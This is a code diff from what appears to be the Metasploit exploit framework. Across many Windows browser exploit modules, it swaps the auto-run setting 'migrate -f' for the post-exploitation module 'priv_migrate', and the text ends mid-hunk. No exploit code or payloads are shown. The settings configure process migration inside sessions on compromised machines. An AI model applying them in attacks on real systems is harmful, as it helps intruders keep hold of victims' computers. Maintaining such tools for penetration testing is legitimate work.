a/modules/exploits/windows/browser/adobe_flash_otf_font.rb b/modules/exploits/windows/browser/adobe_flash_otf_font.rb index 4f831045aa..14e13e7d70 100644 --- a/modules/exploits/windows/browser/adobe_flash_otf_font.rb +++ b/modules/exploits/windows/browser/adobe_flash_otf_font.rb @@ -48,7 +48,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/browser/adobe_flash_regex_value.rb b/modules/exploits/windows/browser/adobe_flash_regex_value.rb index 3d5fea3c40..d9586cbf27 100644 --- a/modules/exploits/windows/browser/adobe_flash_regex_value.rb +++ b/modules/exploits/windows/browser/adobe_flash_regex_value.rb @@ -48,7 +48,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', 'Retries' => false }, 'Platform' => 'win', diff --git a/modules/exploits/windows/browser/adobe_flash_rtmp.rb b/modules/exploits/windows/browser/adobe_flash_rtmp.rb index 84bc9cf971..37ea120c5a 100644 --- a/modules/exploits/windows/browser/adobe_flash_rtmp.rb +++ b/modules/exploits/windows/browser/adobe_flash_rtmp.rb @@ -59,7 +59,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/browser/adobe_flash_sps.rb b/modules/exploits/windows/browser/adobe_flash_sps.rb index b2d3ce686c..d87f5ffc0e 100644 --- a/modules/exploits/windows/browser/adobe_flash_sps.rb +++ b/modules/exploits/windows/browser/adobe_flash_sps.rb @@ -47,7 +47,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => "seh", - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/browser/adobe_flashplayer_arrayindexing.rb b/modules/exploits/windows/browser/adobe_flashplayer_arrayindexing.rb index 3c0a8c62b0..b74acc6da8 100644 --- a/modules/exploits/windows/browser/adobe_flashplayer_arrayindexing.rb +++ b/modules/exploits/windows/browser/adobe_flashplayer_arrayindexing.rb @@ -48,7 +48,7 @@ class MetasploitModule < Msf::Exploit::Remote 'EXITFUNC' => 'process', 'HTTP::compression' => 'gzip', 'HTTP::chunked' => true, - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Payload' => { diff --git a/modules/exploits/windows/browser/adobe_flashplayer_avm.rb b/modules/exploits/windows/browser/adobe_flashplayer_avm.rb index b20663ea80..9f12cf5b73 100644 --- a/modules/exploits/windows/browser/adobe_flashplayer_avm.rb +++ b/modules/exploits/windows/browser/adobe_flashplayer_avm.rb @@ -47,7 +47,7 @@ class MetasploitModule < Msf::Exploit::Remote 'EXITFUNC' => 'process', 'HTTP::compression' => 'gzip', 'HTTP::chunked' => true, - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Payload' => { diff --git a/modules/exploits/windows/browser/adobe_flashplayer_flash10o.rb b/modules/exploits/windows/browser/adobe_flashplayer_flash10o.rb index cab570badc..1df3b951d3 100644 --- a/modules/exploits/windows/browser/adobe_flashplayer_flash10o.rb +++ b/modules/exploits/windows/browser/adobe_flashplayer_flash10o.rb @@ -46,7 +46,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => "process", - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/browser/adobe_flashplayer_newfunction.rb b/modules/exploits/windows/browser/adobe_flashplayer_newfunction.rb index 325a1669b1..bbb6dc6312 100644 --- a/modules/exploits/windows/browser/adobe_flashplayer_newfunction.rb +++ b/modules/exploits/windows/browser/adobe_flashplayer_newfunction.rb @@ -47,7 +47,7 @@ class MetasploitModule < Msf::Exploit::Remote 'EXITFUNC' => 'process', 'HTTP::compression' => 'gzip', 'HTTP::chunked' => true, - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Payload' => { diff --git a/modules/exploits/windows/browser/adobe_shockwave_rcsl_corruption.rb b/modules/exploits/windows/browser/adobe_shockwave_rcsl_corruption.rb index d27e4c3fdd..ff232b7c98 100644 --- a/modules/exploits/windows/browser/adobe_shockwave_rcsl_corruption.rb +++ b/modules/exploits/windows/browser/adobe_shockwave_rcsl_corruption.rb @@ -28,7 +28,7 @@ class MetasploitModule < Msf::Exploit::Remote ], 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Payload' => { diff --git a/modules/exploits/windows/browser/advantech_webaccess_dvs_getcolor.rb b/modules/exploits/windows/browser/advantech_webaccess_dvs_getcolor.rb index 6e83a0298d..3c521b78fa 100644 --- a/modules/exploits/windows/browser/advantech_webaccess_dvs_getcolor.rb +++ b/modules/exploits/windows/browser/advantech_webaccess_dvs_getcolor.rb @@ -35,7 +35,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'Retries' => false, - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'BrowserRequirements' => { diff --git a/modules/exploits/windows/browser/aladdin_choosefilepath_bof.rb b/modules/exploits/windows/browser/aladdin_choosefilepath_bof.rb index ab8329aab8..56e2aa86f0 100644 --- a/modules/exploits/windows/browser/aladdin_choosefilepath_bof.rb +++ b/modules/exploits/windows/browser/aladdin_choosefilepath_bof.rb @@ -39,7 +39,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Platform' => 'win', 'BrowserRequirements' => diff --git a/modules/exploits/windows/browser/apple_quicktime_marshaled_punk.rb b/modules/exploits/windows/browser/apple_quicktime_marshaled_punk.rb index 7432c5f21f..db438aa329 100644 --- a/modules/exploits/windows/browser/apple_quicktime_marshaled_punk.rb +++ b/modules/exploits/windows/browser/apple_quicktime_marshaled_punk.rb @@ -50,7 +50,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'thread', - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Payload' => { diff --git a/modules/exploits/windows/browser/apple_quicktime_mime_type.rb b/modules/exploits/windows/browser/apple_quicktime_mime_type.rb index da040e12fd..b9090e0eb1 100644 --- a/modules/exploits/windows/browser/apple_quicktime_mime_type.rb +++ b/modules/exploits/windows/browser/apple_quicktime_mime_type.rb @@ -48,7 +48,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Payload' => { diff --git a/modules/exploits/windows/browser/apple_quicktime_rdrf.rb b/modules/exploits/windows/browser/apple_quicktime_rdrf.rb index c7f952df5b..c96a2f1133 100644 --- a/modules/exploits/windows/browser/apple_quicktime_rdrf.rb +++ b/modules/exploits/windows/browser/apple_quicktime_rdrf.rb @@ -53,7 +53,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Privileged' => false, 'DisclosureDate' => "May 22 2013" diff --git a/modules/exploits/windows/browser/apple_quicktime_smil_debug.rb b/modules/exploits/windows/browser/apple_quicktime_smil_debug.rb index 0e8c2c5918..c3c7b99591 100644 --- a/modules/exploits/windows/browser/apple_quicktime_smil_debug.rb +++ b/modules/exploits/windows/browser/apple_quicktime_smil_debug.rb @@ -44,7 +44,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Payload' => { diff --git a/modules/exploits/windows/browser/apple_quicktime_texml_font_table.rb b/modules/exploits/windows/browser/apple_quicktime_texml_font_table.rb index ec9ff0db78..fad9da943f 100644 --- a/modules/exploits/windows/browser/apple_quicktime_texml_font_table.rb +++ b/modules/exploits/windows/browser/apple_quicktime_texml_font_table.rb @@ -46,7 +46,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Payload' => { diff --git a/modules/exploits/windows/browser/asus_net4switch_ipswcom.rb b/modules/exploits/windows/browser/asus_net4switch_ipswcom.rb index 19c103ab84..39ab4c48ff 100644 --- a/modules/exploits/windows/browser/asus_net4switch_ipswcom.rb +++ b/modules/exploits/windows/browser/asus_net4switch_ipswcom.rb @@ -39,7 +39,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => "seh", - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/browser/aventail_epi_activex.rb b/modules/exploits/windows/browser/aventail_epi_activex.rb index 29a01fdafe..fb643ab937 100644 --- a/modules/exploits/windows/browser/aventail_epi_activex.rb +++ b/modules/exploits/windows/browser/aventail_epi_activex.rb @@ -49,7 +49,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Payload' => { diff --git a/modules/exploits/windows/browser/blackice_downloadimagefileurl.rb b/modules/exploits/windows/browser/blackice_downloadimagefileurl.rb index f883eb72e4..9264fdf53f 100644 --- a/modules/exploits/windows/browser/blackice_downloadimagefileurl.rb +++ b/modules/exploits/windows/browser/blackice_downloadimagefileurl.rb @@ -50,7 +50,7 @@ class MetasploitModule < Msf::Exploit::Remote ], 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Payload' => { diff --git a/modules/exploits/windows/browser/c6_messenger_downloaderactivex.rb b/modules/exploits/windows/browser/c6_messenger_downloaderactivex.rb index 9936fc912d..5a80c34faf 100644 --- a/modules/exploits/windows/browser/c6_messenger_downloaderactivex.rb +++ b/modules/exploits/windows/browser/c6_messenger_downloaderactivex.rb @@ -35,7 +35,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => "none", - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Payload' => { diff --git a/modules/exploits/windows/browser/cisco_playerpt_setsource.rb b/modules/exploits/windows/browser/cisco_playerpt_setsource.rb index 5b35ecdef3..d24e3c83b8 100644 --- a/modules/exploits/windows/browser/cisco_playerpt_setsource.rb +++ b/modules/exploits/windows/browser/cisco_playerpt_setsource.rb @@ -48,7 +48,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Payload' => { diff --git a/modules/exploits/windows/browser/cisco_playerpt_setsource_surl.rb b/modules/exploits/windows/browser/cisco_playerpt_setsource_surl.rb index 199c27944b..b993fccb3d 100644 --- a/modules/exploits/windows/browser/cisco_playerpt_setsource_surl.rb +++ b/modules/exploits/windows/browser/cisco_playerpt_setsource_surl.rb @@ -52,7 +52,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Payload' => { diff --git a/modules/exploits/windows/browser/citrix_gateway_actx.rb b/modules/exploits/windows/browser/citrix_gateway_actx.rb index 58182c0a10..cb68bd0b8a 100644 --- a/modules/exploits/windows/browser/citrix_gateway_actx.rb +++ b/modules/exploits/windows/browser/citrix_gateway_actx.rb @@ -38,7 +38,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Payload' => { diff --git a/modules/exploits/windows/browser/clear_quest_cqole.rb b/modules/exploits/windows/browser/clear_quest_cqole.rb index affe99692b..99619cbf7d 100644 --- a/modules/exploits/windows/browser/clear_quest_cqole.rb +++ b/modules/exploits/windows/browser/clear_quest_cqole.rb @@ -51,7 +51,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'thread', - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/browser/crystal_reports_printcontrol.rb b/modules/exploits/windows/browser/crystal_reports_printcontrol.rb index 44636c8495..bb65ed47cb 100644 --- a/modules/exploits/windows/browser/crystal_reports_printcontrol.rb +++ b/modules/exploits/windows/browser/crystal_reports_printcontrol.rb @@ -58,7 +58,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/browser/dell_webcam_crazytalk.rb b/modules/exploits/windows/browser/dell_webcam_crazytalk.rb index f70773b7a5..28eede199f 100644 --- a/modules/exploits/windows/browser/dell_webcam_crazytalk.rb +++ b/modules/exploits/windows/browser/dell_webcam_crazytalk.rb @@ -39,7 +39,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => "seh", - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/browser/enjoysapgui_comp_download.rb b/modules/exploits/windows/browser/enjoysapgui_comp_download.rb index 0333976af5..084dd3a5f4 100644 --- a/modules/exploits/windows/browser/enjoysapgui_comp_download.rb +++ b/modules/exploits/windows/browser/enjoysapgui_comp_download.rb @@ -28,7 +28,7 @@ class MetasploitModule < Msf::Exploit::Remote ], 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Payload' => { diff --git a/modules/exploits/windows/browser/firefox_smil_uaf.rb b/modules/exploits/windows/browser/firefox_smil_uaf.rb index 3031bde126..9817cee35e 100644 --- a/modules/exploits/windows/browser/firefox_smil_uaf.rb +++ b/modules/exploits/windows/browser/firefox_smil_uaf.rb @@ -45,7 +45,7 @@ require 'msf/core' 'DefaultOptions' => { 'EXITFUNC' => "thread", - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'References' => [ diff --git a/modules/exploits/windows/browser/foxit_reader_plugin_url_bof.rb b/modules/exploits/windows/browser/foxit_reader_plugin_url_bof.rb index 5f083c52da..2ecf38c827 100644 --- a/modules/exploits/windows/browser/foxit_reader_plugin_url_bof.rb +++ b/modules/exploits/windows/browser/foxit_reader_plugin_url_bof.rb @@ -44,7 +44,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => "process", - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/browser/honeywell_hscremotedeploy_exec.rb b/modules/exploits/windows/browser/honeywell_hscremotedeploy_exec.rb index 34a7758163..ef7ce99038 100644 --- a/modules/exploits/windows/browser/honeywell_hscremotedeploy_exec.rb +++ b/modules/exploits/windows/browser/honeywell_hscremotedeploy_exec.rb @@ -41,7 +41,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f -k' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/browser/hp_alm_xgo_setshapenodetype_exec.rb b/modules/exploits/windows/browser/hp_alm_xgo_setshapenodetype_exec.rb index efa03912ab..bdf8a7c485 100644 --- a/modules/exploits/windows/browser/hp_alm_xgo_setshapenodetype_exec.rb +++ b/modules/exploits/windows/browser/hp_alm_xgo_setshapenodetype_exec.rb @@ -55,7 +55,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'thread', - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/browser/hp_easy_printer_care_xmlcachemgr.rb b/modules/exploits/windows/browser/hp_easy_printer_care_xmlcachemgr.rb index d6cbb5275a..f0bcacc5eb 100644 --- a/modules/exploits/windows/browser/hp_easy_printer_care_xmlcachemgr.rb +++ b/modules/exploits/windows/browser/hp_easy_printer_care_xmlcachemgr.rb @@ -41,7 +41,7 @@ class MetasploitModule < Msf::Exploit::Remote ], 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Payload' => { diff --git a/modules/exploits/windows/browser/hp_easy_printer_care_xmlsimpleaccessor.rb b/modules/exploits/windows/browser/hp_easy_printer_care_xmlsimpleaccessor.rb index 9cb5e338c4..d75ca8fa88 100644 --- a/modules/exploits/windows/browser/hp_easy_printer_care_xmlsimpleaccessor.rb +++ b/modules/exploits/windows/browser/hp_easy_printer_care_xmlsimpleaccessor.rb @@ -41,7 +41,7 @@ class MetasploitModule < Msf::Exploit::Remote ], 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Payload' => { diff --git a/modules/exploits/windows/browser/hyleos_chemviewx_activex.rb b/modules/exploits/windows/browser/hyleos_chemviewx_activex.rb index 873b2b876d..ca2baf3818 100644 --- a/modules/exploits/windows/browser/hyleos_chemviewx_activex.rb +++ b/modules/exploits/windows/browser/hyleos_chemviewx_activex.rb @@ -36,7 +36,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Payload' => { diff --git a/modules/exploits/windows/browser/ibm_spss_c1sizer.rb b/modules/exploits/windows/browser/ibm_spss_c1sizer.rb index 76261ed22b..b0c226aeaf 100644 --- a/modules/exploits/windows/browser/ibm_spss_c1sizer.rb +++ b/modules/exploits/windows/browser/ibm_spss_c1sizer.rb @@ -56,7 +56,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/browser/ibm_tivoli_pme_activex_bof.rb b/modules/exploits/windows/browser/ibm_tivoli_pme_activex_bof.rb index 1f261d420a..c67ae31f3e 100644 --- a/modules/exploits/windows/browser/ibm_tivoli_pme_activex_bof.rb +++ b/modules/exploits/windows/browser/ibm_tivoli_pme_activex_bof.rb @@ -58,7 +58,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/browser/ie_cbutton_uaf.rb b/modules/exploits/windows/browser/ie_cbutton_uaf.rb index e002ede87f..97cfd3c741 100644 --- a/modules/exploits/windows/browser/ie_cbutton_uaf.rb +++ b/modules/exploits/windows/browser/ie_cbutton_uaf.rb @@ -63,7 +63,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/browser/ie_cgenericelement_uaf.rb b/modules/exploits/windows/browser/ie_cgenericelement_uaf.rb index d00bae6af6..8f7909a73f 100644 --- a/modules/exploits/windows/browser/ie_cgenericelement_uaf.rb +++ b/modules/exploits/windows/browser/ie_cgenericelement_uaf.rb @@ -58,7 +58,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/browser/ie_execcommand_uaf.rb b/modules/exploits/windows/browser/ie_execcommand_uaf.rb index bad5533df1..3656eee408 100644 --- a/modules/exploits/windows/browser/ie_execcommand_uaf.rb +++ b/modules/exploits/windows/browser/ie_execcommand_uaf.rb @@ -59,7 +59,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'thread', - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/browser/ie_setmousecapture_uaf.rb b/modules/exploits/windows/browser/ie_setmousecapture_uaf.rb index 6c8d41af0e..bf8c48a15b 100644 --- a/modules/exploits/windows/browser/ie_setmousecapture_uaf.rb +++ b/modules/exploits/windows/browser/ie_setmousecapture_uaf.rb @@ -84,7 +84,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'PrependMigrate' => true, - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Privileged' => false, 'DisclosureDate' => "Sep 17 2013", diff --git a/modules/exploits/windows/browser/imgeviewer_tifmergemultifiles.rb b/modules/exploits/windows/browser/imgeviewer_tifmergemultifiles.rb index 26459acef3..2cd1945cde 100644 --- a/modules/exploits/windows/browser/imgeviewer_tifmergemultifiles.rb +++ b/modules/exploits/windows/browser/imgeviewer_tifmergemultifiles.rb @@ -41,7 +41,7 @@ class MetasploitModule < Msf::Exploit::Remote { 'EXITFUNC' => 'process', 'DisablePayloadHandler' => false, - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Payload' => { diff --git a/modules/exploits/windows/browser/indusoft_issymbol_internationalseparator.rb b/modules/exploits/windows/browser/indusoft_issymbol_internationalseparator.rb index 0a0583a308..588c0e68e6 100644 --- a/modules/exploits/windows/browser/indusoft_issymbol_internationalseparator.rb +++ b/modules/exploits/windows/browser/indusoft_issymbol_internationalseparator.rb @@ -57,7 +57,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/browser/inotes_dwa85w_bof.rb b/modules/exploits/windows/browser/inotes_dwa85w_bof.rb index 66e44e1579..5251bad151 100644 --- a/modules/exploits/windows/browser/inotes_dwa85w_bof.rb +++ b/modules/exploits/windows/browser/inotes_dwa85w_bof.rb @@ -61,7 +61,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/browser/intrust_annotatex_add.rb b/modules/exploits/windows/browser/intrust_annotatex_add.rb index 3f626ef961..17035dd842 100644 --- a/modules/exploits/windows/browser/intrust_annotatex_add.rb +++ b/modules/exploits/windows/browser/intrust_annotatex_add.rb @@ -37,7 +37,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Payload' => { diff --git a/modules/exploits/windows/browser/java_docbase_bof.rb b/modules/exploits/windows/browser/java_docbase_bof.rb index c8a8cbcec7..625f2b8f50 100644 --- a/modules/exploits/windows/browser/java_docbase_bof.rb +++ b/modules/exploits/windows/browser/java_docbase_bof.rb @@ -58,7 +58,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'thread', - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Payload' => { diff --git a/modules/exploits/windows/browser/java_mixer_sequencer.rb b/modules/exploits/windows/browser/java_mixer_sequencer.rb index 5817b6720e..c2983fb3ef 100644 --- a/modules/exploits/windows/browser/java_mixer_sequencer.rb +++ b/modules/exploits/windows/browser/java_mixer_sequencer.rb @@ -48,7 +48,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => "process", - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/browser/mcafee_mvt_exec.rb b/modules/exploits/windows/browser/mcafee_mvt_exec.rb index eca4fd4e7d..b72351ea5b 100644 --- a/modules/exploits/windows/browser/mcafee_mvt_exec.rb +++ b/modules/exploits/windows/browser/mcafee_mvt_exec.rb @@ -40,7 +40,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => "none", - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/browser/mozilla_attribchildremoved.rb b/modules/exploits/windows/browser/mozilla_attribchildremoved.rb index e431231c46..11b8a375cd 100644 --- a/modules/exploits/windows/browser/mozilla_attribchildremoved.rb +++ b/modules/exploits/windows/browser/mozilla_attribchildremoved.rb @@ -40,7 +40,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Payload' => { diff --git a/modules/exploits/windows/browser/mozilla_firefox_onreadystatechange.rb b/modules/exploits/windows/browser/mozilla_firefox_onreadystatechange.rb index 635d5fc3be..eee4ff70b9 100644 --- a/modules/exploits/windows/browser/mozilla_firefox_onreadystatechange.rb +++ b/modules/exploits/windows/browser/mozilla_firefox_onreadystatechange.rb @@ -44,7 +44,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Payload' => { diff --git a/modules/exploits/windows/browser/mozilla_interleaved_write.rb b/modules/exploits/windows/browser/mozilla_interleaved_write.rb index be9b94bf4a..8c4e458121 100644 --- a/modules/exploits/windows/browser/mozilla_interleaved_write.rb +++ b/modules/exploits/windows/browser/mozilla_interleaved_write.rb @@ -50,7 +50,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Payload' => { diff --git a/modules/exploits/windows/browser/mozilla_mchannel.rb b/modules/exploits/windows/browser/mozilla_mchannel.rb index 351ab5261d..9523c605da 100644 --- a/modules/exploits/windows/browser/mozilla_mchannel.rb +++ b/modules/exploits/windows/browser/mozilla_mchannel.rb @@ -48,7 +48,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Payload' => { diff --git a/modules/exploits/windows/browser/mozilla_nssvgvalue.rb b/modules/exploits/windows/browser/mozilla_nssvgvalue.rb index 6b09d042d0..b0da5742b1 100644 --- a/modules/exploits/windows/browser/mozilla_nssvgvalue.rb +++ b/modules/exploits/windows/browser/mozilla_nssvgvalue.rb @@ -42,7 +42,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Payload' => { diff --git a/modules/exploits/windows/browser/mozilla_nstreerange.rb b/modules/exploits/windows/browser/mozilla_nstreerange.rb index 46ba71e46e..74a5f98f0f 100644 --- a/modules/exploits/windows/browser/mozilla_nstreerange.rb +++ b/modules/exploits/windows/browser/mozilla_nstreerange.rb @@ -53,7 +53,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'thread', # graceful exit if run in separate thread - 